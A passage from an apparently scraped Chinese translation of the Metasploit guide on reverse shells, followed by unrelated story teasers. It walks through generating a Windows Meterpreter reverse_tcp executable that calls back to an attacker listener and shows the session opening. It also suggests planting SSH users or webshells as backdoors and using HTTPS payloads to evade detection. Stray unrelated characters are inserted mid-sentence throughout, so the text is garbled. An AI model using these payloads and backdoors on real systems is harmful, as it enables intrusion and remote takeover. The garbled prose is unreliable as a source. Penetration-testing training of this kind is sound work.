【譯】Metasploit:如何在 Metasploit 中使用反彈 Shell



眾所周知,有兩種流行的 Shell 的類型:反向 Shell (譯者注:攻擊者監(jiān)聽端口辈双,被攻擊者連接)和 正向 Shell(譯者注:被攻擊者監(jiān)聽端口慈迈,攻擊者連接)
譯者注:由于 C/S 結(jié)構(gòu)的程序開發(fā)中动遭,一般我們將監(jiān)聽端口的一方稱為服務(wù)器龙宏,而主動連接的一方稱為客戶端东亦。站在攻擊者的角度上寝贡,正向 Shel 即為攻擊者主動連接服務(wù)器重斑,此謂之正向兵睛;而反向 Shell 中,攻擊者為服務(wù)器窥浪,被攻擊者主動連接攻擊者祖很,此謂之反向

Payload 的基本使用已經(jīng)在 用戶手冊 中寫的很詳細(xì)了,但是漾脂,學(xué)習(xí)如何使用反向 Shell 仍然是一個在 Metasploit 社區(qū)中被詢問最頻繁的問題假颇。另外,事實上反向 Shell 在十次滲透中幾乎有九次都可能被用到符相,因此在這個文檔中我們將對此進行深入解釋拆融。

列出所有的 Metasploit 反向 Shell

直到現(xiàn)在蠢琳, Metasploit Framework 已經(jīng)有了 168 個不同的反向 Shell 的 Payload
我們這里并沒有列出所有的反向 Shell 的列表,因為沒必要浪費文章的篇幅镜豹。
但是如果你想要得到這個列表的話傲须,你可以使用 msfpayload 命令 (譯者注:msfpayload 目前已經(jīng)被 msfvenom 代替,msfvenom 由 msfpayload 與 msfencode 結(jié)合而成趟脂,具體官方公告可以參考:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

# ./msfpayload -l |grep reverse
./msfvenom -l |grep reverse

作為一個經(jīng)驗法則泰讽,我們一般總是選擇 meterpreter(譯者注:對比于反向 Shell 和 正向 Shell),因為 Meterpreter 的確能為我們提供更多的后滲透測試的支持昔期。例如:Railgun(譯者注:這是 Metasploit 對 Windows Meterpreter Session 提供的一個功能已卸,可以注入 DLL 文件到指定的程序),后滲透測試模塊硼一,獨立的 Meterpreter 命令(例如:攝像頭控制)累澡,等等。

  • 以 Windows 作為目標(biāo)系統(tǒng)般贼,最被頻繁使用的反向 Shell 是 windows/meterpreter/reverse愧哟。但是你也可以嘗試一下 windows/meterpreter/reverse_http, windows/meterpreter/reverse_https, 因為它們(譯者注:原文中并沒有說清楚 它們 指的是什么,個人感覺應(yīng)該是反向 Shell 的流量并沒有經(jīng)過加密哼蛆,可以直接被防火墻嗅探到蕊梧,但是如果基于 HTTP 或者 HTTPS 那么就可以實現(xiàn)基于應(yīng)用層的加密,這樣更難被檢測到)的網(wǎng)絡(luò)流量可能會有一點點不正常腮介。
  • 以 Linux 作為目標(biāo)系統(tǒng)肥矢,你可以嘗試 linux/x86/meterpreter/reverse_tcp 這個針對 32 位的 Payload,當(dāng)然也可以嘗試 64 位的叠洗。然而甘改,你應(yīng)該知道的是 linux/x86/shell_reverse_tcp 這個 Payload 是最穩(wěn)定的

什么時候應(yīng)該使用反向 Shell

如果你認(rèn)為你所在的條件符合如下條件之一(但不限于),那么你就應(yīng)該考慮使用反向 Shell

  • 目標(biāo)機器在一個不同(相對攻擊者而言)的私有網(wǎng)絡(luò)
  • 目標(biāo)機器的防火墻阻擋了所有入口連接(這種情況正向 Shell 是會被防火墻阻擋的)
  • 由于一些原因惕味,你的 Payload 不能綁定在應(yīng)該綁定的端口的時候
  • 你還不能確定應(yīng)該選擇反向 Shell 還是正向 Shell 的時候

什么時候不應(yīng)該使用反向 Shell

  • 一般來說楼誓,如果你已經(jīng)在目標(biāo)機器的某個已存在的服務(wù)上種植了后門,那么你就不再需要反向 Shell名挥。例如:如果目標(biāo)機器已經(jīng)運行了一個 SSH 服務(wù)器,那么你可以通過后門程序添加一個新的用戶并且直接使用主守。
  • 如果目標(biāo)機器運行了一個 WEB 服務(wù)器并且支持服務(wù)端腳本語言禀倔,那么你就可以種植一個目標(biāo)語言的后門。例如:很多 Apache HTTP Server 都支持 PHP 語言参淫,那么你就可以使用一個 PHP 的 webshell救湖;IIS 服務(wù)器通常支持 ASP 語言或者 ASP.net。Metasploit Framework 提供所有這些語言的 Payload (當(dāng)然也包括許多其他語言的 Payload)
  • 與 VNC 相同涎才,遠(yuǎn)程桌面鞋既,SMB(psexec) 或者等等其他的遠(yuǎn)程管理工具也一樣力九。

如何在生成 Payload 的時候配置反向 Shell Payload 的參數(shù)

如果你想使用 msfpayload(譯者注:已被廢棄)或者 msfvenom 來生成反向 Shell 的 Payload,那么你必須知道如何配置如下的參數(shù):

  • LHOST - 從字面上看(譯者注:Local HOST)邑闺,該參數(shù)表示你想讓你的目標(biāo)機器連接的地址跌前。如果你在一個本地局域網(wǎng),那么你的目標(biāo)機器可能就不能直接連接到你的機器了陡舅,除非你們在同一個網(wǎng)絡(luò)中抵乓。這種情況下,你需要 找到你的公網(wǎng)IP 靶衍,然后在你的網(wǎng)絡(luò)中配置端口轉(zhuǎn)發(fā)連接到你自己的用來攻擊的電腦灾炭。LHOST 這個參數(shù)不可以被設(shè)置為 localhost, 0.0.0.0, 127.0.0.1,如果你這么設(shè)置了颅眶,那么你其實在讓目標(biāo)機器連接自己蜈出。
  • LPORT - 這個參數(shù)表示目標(biāo)機器要連接的端口號

當(dāng)你在配置反向 Shell 的監(jiān)聽器的時候,你也需要至少配置 LHOST 和 LPORT 這兩個參數(shù)涛酗,但是這和在生成 Payload 的時候的配置的含義有所不同

  • LHOST - 該參數(shù)表示你想讓你的監(jiān)聽器綁定的 IP 地址
  • LPORT - 該參數(shù)表示你想讓你的監(jiān)聽器綁定的端口號

你應(yīng)該確保監(jiān)聽器在目標(biāo)機器執(zhí)行反向 Shell 的 Payload 之前就開始監(jiān)聽

實例

在下面的實例中铡原,我們有兩個主機

主機 A

  • 攻擊者機器(用來接受 Payload 作用產(chǎn)生的 Session)
  • IP : 192.168.1.123 (ifconfig)
  • 與受害者的主機在同一網(wǎng)段

主機 B

  • 受害者機器
  • Windows XP
  • IP : 192.168.1.80 (ipconfig)
  • 與攻擊者在同一個網(wǎng)段
  • 為了測試效果,并沒有開啟防火墻
  • 為了測試效果煤杀,并沒有開啟反病毒軟件

第一步:生成可執(zhí)行的Payload
在攻擊者的機器上眷蜈,運行如下 msfpayload 命令(或者 msfvenom,任何一個都可以)

$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

第二步:將可執(zhí)行的 Payload 拷貝到機器 B (也就是受害者的機器)

第三步:在機器A(也就是攻擊者)上配置 Payload Handler

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...

第四步:雙擊剛才生成的惡意可執(zhí)行程序(在機器B沈自,也就是受害者機器上)

第五步:這個時候應(yīng)該就可以在攻擊者的機器A上看到一個 meterpreter/payload 的 session 了

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

Meterpreter 命令提示符表示由當(dāng)前 payload 生成的 session 已經(jīng)被激活

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末酌儒,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子枯途,更是在濱河造成了極大的恐慌忌怎,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,907評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件酪夷,死亡現(xiàn)場離奇詭異榴啸,居然都是意外死亡,警方通過查閱死者的電腦和手機晚岭,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,987評論 3 395
  • 文/潘曉璐 我一進店門鸥印,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人坦报,你說我怎么就攤上這事库说。” “怎么了片择?”我有些...
    開封第一講書人閱讀 164,298評論 0 354
  • 文/不壞的土叔 我叫張陵潜的,是天一觀的道長。 經(jīng)常有香客問我字管,道長啰挪,這世上最難降的妖魔是什么信不? 我笑而不...
    開封第一講書人閱讀 58,586評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮亡呵,結(jié)果婚禮上抽活,老公的妹妹穿的比我還像新娘。我一直安慰自己政己,他們只是感情好酌壕,可當(dāng)我...
    茶點故事閱讀 67,633評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著歇由,像睡著了一般卵牍。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上沦泌,一...
    開封第一講書人閱讀 51,488評論 1 302
  • 那天糊昙,我揣著相機與錄音,去河邊找鬼谢谦。 笑死释牺,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的回挽。 我是一名探鬼主播没咙,決...
    沈念sama閱讀 40,275評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼千劈!你這毒婦竟也來了祭刚?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,176評論 0 276
  • 序言:老撾萬榮一對情侶失蹤墙牌,失蹤者是張志新(化名)和其女友劉穎涡驮,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體喜滨,經(jīng)...
    沈念sama閱讀 45,619評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡捉捅,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,819評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了虽风。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片棒口。...
    茶點故事閱讀 39,932評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖辜膝,靈堂內(nèi)的尸體忽然破棺而出陌凳,到底是詐尸還是另有隱情,我是刑警寧澤内舟,帶...
    沈念sama閱讀 35,655評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站初橘,受9級特大地震影響验游,放射性物質(zhì)發(fā)生泄漏充岛。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,265評論 3 329
  • 文/蒙蒙 一耕蝉、第九天 我趴在偏房一處隱蔽的房頂上張望崔梗。 院中可真熱鬧,春花似錦垒在、人聲如沸蒜魄。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,871評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽谈为。三九已至,卻和暖如春踢关,著一層夾襖步出監(jiān)牢的瞬間伞鲫,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,994評論 1 269
  • 我被黑心中介騙來泰國打工签舞, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留秕脓,地道東北人。 一個月前我還...
    沈念sama閱讀 48,095評論 3 370
  • 正文 我出身青樓儒搭,卻偏偏與公主長得像吠架,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子搂鲫,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,884評論 2 354

推薦閱讀更多精彩內(nèi)容